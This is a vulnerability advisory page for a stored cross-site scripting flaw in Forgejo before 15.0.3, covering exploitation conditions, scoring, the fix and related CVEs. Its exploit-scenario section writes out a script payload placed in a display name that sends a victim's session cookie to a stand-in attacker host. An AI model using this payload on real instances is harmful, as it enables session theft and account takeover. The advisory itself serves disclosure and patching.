Skip to main content

Forgejo CVE-2026-59102

| EUVDEUVD-2026-41433 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-07-02 VulnCheck GHSA-r26p-rw8p-x468
2.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Set full name to HTML/script payload
  2. Delivery
    Enable DEFAULT_SHOW_FULL_NAME on target instance (pre-condition)
  3. Exploit
    Trigger Forgejo Actions run in any accessible repository
  4. Install
    Server interpolates unsanitized full name into HTML run description
  5. C2
    Victim loads Actions run page
  6. Execute
    Vue v-html renders injected payload
  7. Impact
    Attacker JavaScript executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the Forgejo instance must have the DEFAULT_SHOW_FULL_NAME option enabled in its configuration - this is explicitly a non-default setting, so the majority of default deployments are not vulnerable; (2) the attacker must hold a valid low-privilege user account on the target Forgejo instance (PR:L), as account registration or social engineering is a prerequisite; (3) the attacker must be able to trigger a Forgejo Actions run, which requires write access to at least one repository with an Actions workflow configured. Exploitation is further limited by the requirement that a victim actively views the affected Actions run page (passive user interaction, UI:P in CVSS 4.0 terms). What limits exploitation: the non-default DEFAULT_SHOW_FULL_NAME setting is the single most significant barrier - instances without it are immune regardless of version. Additionally, self-hosted Forgejo instances with closed registration or a small known-user base significantly reduce the viable attacker pool.

Impact

Real-world risk is moderate-to-low, heavily conditional on deployment configuration. The CVSS 4.0 score of 2.1 is intentionally conservative: AT:P captures the requirement that DEFAULT_SHOW_FULL_NAME must be non-default-enabled, and UI:P (passive user interaction) reflects that a victim merely needs to view an Actions run page rather than click a crafted link. EPSS data is not provided, but the combination of a low-impact stored XSS in niche self-hosted software without KEV listing suggests exploitation probability is low at the population level. That said, a public POC exists (referenced via VulnCheck advisory and GitHub), which meaningfully lowers the bar for exploitation against misconfigured instances. The CVSS 4.0 impact metrics are instructive: VC:N/VI:N/VA:N (no direct impact on the vulnerable Forgejo server itself) but SC:L/SI:L (low confidentiality and integrity impact on subsequent systems - meaning victims' browser sessions). In practice this means an attacker could steal session cookies, perform CSRF-equivalent actions as the victim, or redirect users to phishing pages. For Forgejo instances hosting sensitive private repositories, even a low-severity XSS represents a credential-theft vector if admin accounts can be targeted. The non-default configuration requirement (DEFAULT_SHOW_FULL_NAME) is the most significant real-world risk limiter.

Exploit ScenarioDerived

An authenticated Forgejo user sets their account full name to a JavaScript payload such as '<script>document.location="https://attacker.example/steal?c="+document.cookie</script>' via the profile settings page. The attacker then triggers any Forgejo Actions run (e.g., pushing a commit to a repository with an Actions workflow). When another user - including an administrator - navigates to the Actions run detail page, the server-generated run description containing the unsanitized full name is rendered via Vue v-html, causing the injected script to execute in the victim's browser and exfiltrate their session cookie. A public proof-of-concept demonstrating this technique is available at https://github.com/geo-chen/oss/blob/main/forgejo.md.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 02, 2026

Stored XSS in Forgejo before 15.0.3 allows authenticated users to execute arbitrary JavaScript in other users' browsers by embedding an HTML payload in their display name and triggering a CI/CD Actions run. The vulnerability exists because the server-side run description assembles HTML by interpolating the user's full name through a translation function that performs no output encoding, and the frontend renders this server-generated markup via a Vue v-html binding - a classic sink for stored XSS. No public exploit identified at time of analysis as actively exploited in the wild, but a public proof-of-concept exists at the VulnCheck-referenced GitHub repository. The CVSS 4.0 score of 2.1 reflects the non-default configuration prerequisite and passive user interaction required, but the impact on subsequent systems (other users' browser sessions) is real.

RemediationAI

The primary fix is to upgrade to Forgejo 15.0.3 or later, as documented at https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/15.0.3.md. The upstream fix is tracked in pull request #13002 at https://codeberg.org/forgejo/forgejo/pulls/13002. If an immediate upgrade is not feasible, the most effective compensating control is to set DEFAULT_SHOW_FULL_NAME to false (or leave it at its default disabled state), which prevents the vulnerable code path from assembling the malicious HTML string into the run description. Trade-off: disabling this option means Actions run descriptions will display usernames rather than full display names, which may reduce auditability in environments that rely on full names for user identification. A secondary control is to restrict Actions runner access to trusted users only, reducing the attacker pool to accounts that can actually trigger runs. Do not rely on content-security-policy alone as a complete mitigation without patching, as CSP effectiveness depends on configuration.

Affected VersionsENISA

Forgejo 0 <15.0.3

Affected Packages

euvd forgejo fix: 15.0.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Forgejo is a self-hosted, community-driven git forge (CPE: cpe:2.3:a:forgejo:forgejo:*:*:*:*:*:*:*:*), originally forked from Gitea, commonly deployed by open-source communities and organizations needing on-premises source code management with CI/CD capabilities via its Actions runner. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The flaw lies at the intersection of two design choices: (1) a server-side i18n/translation function that interpolates user-controlled data (the full name field) directly into an HTML template string without escaping, and (2) the Vue.js frontend rendering that assembled string through v-html, which bypasses Vue's default cross-site scripting protections. The profile picture or display name field accepting arbitrary Unicode/HTML characters without sanitization at ingestion or at render time is the proximate technical failure. The PR fixing this (codeberg.org/forgejo/forgejo/pulls/13002) likely introduces proper HTML escaping in the translation function or switches the v-html binding to v-text.

Know when Forgejo gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.4 MEDIUM

AC:H reflects non-default DEFAULT_SHOW_FULL_NAME prerequisite; PR:L for authenticated attacker; S:C and C:L/I:L for cross-user browser impact.

3.1 AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jul 02, 2026 - 20:22 NVD
MEDIUM LOW
CVSS changed
Jul 02, 2026 - 20:22 NVD
5.4 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

Forgejo before 15.0.3 contains a stored cross-site scripting vulnerability that allows authenticated attackers to execute arbitrary JavaScript in other users' browsers by setting a full name containing an HTML payload and triggering an Actions run. When the DEFAULT_SHOW_FULL_NAME option is enabled, the run description is assembled server-side with the user's display name interpolated into an HTML string via a translation function that does not escape its arguments, and the frontend renders the result using a Vue v-html binding, causing script execution for any user who views the affected Actions run page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Low
niche self-hosted git forge, Gitea/GitHub alternative with limited enterprise footprint
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-89094 CRITICAL
9.9 Sep 10

Remote code execution in Forgejo before 16.0.4 allows an authenticated user who can supply a template repository to run

CVE-2025-68937 CRITICAL
9.5 Dec 26

Forgejo before 13.0.2 (and the 11 LTS line before 11.0.7) mishandles out-of-repository symlink destinations when generat

CVE-2023-49946 CRITICAL
9.1 Dec 03

In Forgejo before 1.20.5-1, certain endpoints do not check whether an object belongs to a repository for which permissio

CVE-2023-49947 HIGH
7.5 Dec 03

Forgejo before 1.20.5-1 allows 2FA bypass when docker login uses Basic Authentication. Rated high severity (CVSS 7.5), t

CVE-2026-119545 MEDIUM
6.9 Oct 30

Unauthenticated blind server-side request forgery in Forgejo (through 15.0.11, 16.0.0 through 16.0.7, and 17.0.0 through

CVE-2026-119546 MEDIUM
6.8 Oct 30

Forgejo's restore-repo CLI can be induced to read files outside the dump directory - including repository configuration

CVE-2026-82556 LOW POC
2.1 Aug 30

Server-side request forgery in Forgejo up to 15.0.4 allows authenticated users to bypass the repository migration IP all

CVE-2026-119547 MEDIUM
5.3 Oct 30

Forgejo through 15.0.11, 16.0.0 through 16.0.7, and 17.0.0 through 17.0.1 lets an authenticated user with a read:user-sc

CVE-2023-49948 MEDIUM
5.3 Dec 03

Forgejo before 1.20.5-1 allows remote attackers to test for the existence of private user accounts by appending .rss (or

CVE-2026-90679 MEDIUM
4.3 Sep 13

Identity spoofing in Forgejo's ActivityPub federation allows a remote attacker who controls any single valid ActivityPub

CVE-2026-89151 LOW
3.5 Sep 11

Restricted API token authorization bypass in Forgejo before 16.0.4 (and before 15.0.8 on the 15.x branch) allows authent

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy